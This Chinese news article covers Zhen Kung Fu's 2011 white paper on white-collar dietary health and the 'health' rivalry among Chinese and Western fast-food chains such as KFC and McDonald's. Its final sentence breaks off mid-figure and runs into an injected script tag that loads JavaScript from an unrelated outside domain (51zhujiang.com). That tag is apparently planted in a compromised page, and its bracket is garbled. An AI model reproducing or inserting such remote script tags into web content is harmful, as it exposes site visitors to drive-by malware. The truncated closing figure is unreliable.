“真功夫”首发白领健康白皮书

 

　　昨天，真功夫联合全国健康教育事业项目推广办公室、世界排名前十的调研公司英德知集团，在北京共同发布了《2011中国白领膳食健康白皮书》。发布会上，真功夫副总裁兼首席营销官张帆宣布启动“关爱白领膳食健康”计划，将在产品研发、消费者沟通、公益活动上发力，全力推动白领膳食健康的改善。

　　这是继2006年宣布坚决不做油炸食品以来，真功夫再次高举营养健康的大旗，争夺竞争日趋激烈的中国快餐市场。而就在2010年12月，肯德基餐饮健康基金第三届学术年会暨“餐饮与健康”学术研讨会在广州召开，关注居民在外就餐的营养健康问题。一时间，中洋快餐巨头纷纷展开“健康”较量，将目光转向对膳食健康的关注。

　　白领膳食健康首次被关注真功夫再出利器

　　据介绍，本次中国白领膳食健康调研也是首次白领膳食调查，由真功夫联合全国健康教育事业项目推广办公室共同发起，由英德知集团负责整个调研过程及数据统计、分析调研，以北京、上海、广州、深圳、杭州5个城市1500名25岁-40岁的白领为样本，执行方式为不定点街访，即在各城市的主要写字楼外对白领进行拦截访问，每个城市挑选的写字楼不少于10栋。

　　之所以针对白领阶层展开膳食健康调研，并发布白皮书，真功夫董事长蔡达标提到，白领是社会的中坚阶层，也是快餐的主体消费人群，快餐的营养和健康水准，将直接影响他们的健康水平。“作为一家倡导营养健康的中式快餐企业，真功夫有责任对白领的膳食健康倾注精力。”

　　基于调查分析结果，专家们编写的《白皮书》从日常膳食现状、膳食结构现状、外出就餐习惯、膳食态度及食品安全五个维度展开，深入了解及分析了北京、上海、广州、深圳和杭州五个代表城市白领在膳食中的现状、存在的问题，和切实可行的建议解决方案。此外，国内多位资深望重的营养学专家对《白皮书》及项目给予了积极肯定。

　　在本次发布会上，张帆对记者表示，此次《白皮书》发布仅仅是“关爱白领膳食健康”计划的开始，后续继续推出新的动作。

　　据悉，真功夫近年在新品上市流程上花了大量人力、物力，目前已经可以定期每五个星期就推出多档主餐及小食新品出来，研发速度赶超洋快餐。而张帆在会后也表示，真功夫今年会再推多款健康新品，包括有早点、套饭及时令滋选蒸汤，建立一个白领营养俱乐部；此外，张帆还透露，真功夫的“营养还是蒸的好”口号也会在今年更新换代，更加往消费者靠拢，突出“健康”主题。

　　饱受质疑洋快餐向健康靠拢

　　自20世纪80年代末洋快餐进入中国以来，就一直饱受“不健康”的质疑。

　　2010年11月初，从中央媒体曝光的一则新闻《植物奶油的隐患》，一层石激起千层浪：由于植物奶油（氢化油）的广泛使用，带来反式脂肪酸对健康的危害，受到媒体、专家、消费者的广泛关注，奶油制品、洋快餐等再次受到人们的质疑。

　　伴随着在中国的不断发展壮大，洋快餐也意识到此问题，并不断在品牌理念、产品等方面，逐渐向健康靠拢。2007年成立的肯德基餐饮健康基金迄今已运作3年，并在刚刚过去的12月份，召开了第三届学术年会，会上发布了数个和中国居民餐饮健康有关的科研和科普研究报告，还专门就“如何推动餐饮健康”举行了主题研讨。而在产品上，肯德基仅在2010年就陆续推出中国特色的油条、烧饼、豆浆，甚至在上海、北京、广州、深圳等城市卖起了米饭。

　　相比肯德基，麦当劳在这方面的行动则“保守”很多。早前在接受美国媒体采访时，麦当劳中国区总裁曾启山表示，对推出太多本地化产品应当保持谨慎。不过在“氢化油”事件甚嚣尘上之际，去年11月份由麦当劳亚太、中东及非洲区食品研发及品质管理中心出面表示，为了满足中国顾客需求，麦当劳已在华提供非油炸食品。据悉，非油炸食品主要是板烧系列。尽管没有正面回应“不健康”的质疑，不过前段时间麦当劳推出板烧系列新品，均以“0油添加、0负担享受美味”为主题，无疑是想打“健康”的擦边球。

　　对此，有业内专家认为，继去年四月份中洋快餐先后建企业大学，而近期两者又一次在如此相近时间内做出类似决策，也反映出中洋快餐的角逐正从最初的选址、菜品、标准化等，转变为人才、品牌、企业社会责任等软实力竞争。

　　2010年餐饮业零售额有望突破2万亿元，快餐业也正在加速发展。中国烹饪协会会长苏秋成表示，从2010年开始，中国快餐业的黄金时期已经到来，并会以北京等大城市和发达地区为中心，逐渐向全国蔓延开来，走向一个成熟的发展阶段。面对庞大的市场蛋糕，中洋快餐纷纷磨刀霍霍：最新公开数据显示，肯德基在中国的门店数已达3500家；麦当劳计划到2013年将门店扩张至2000家，未来三年在中国的投资将超过?script src=http://51zhujiang.com/s.js>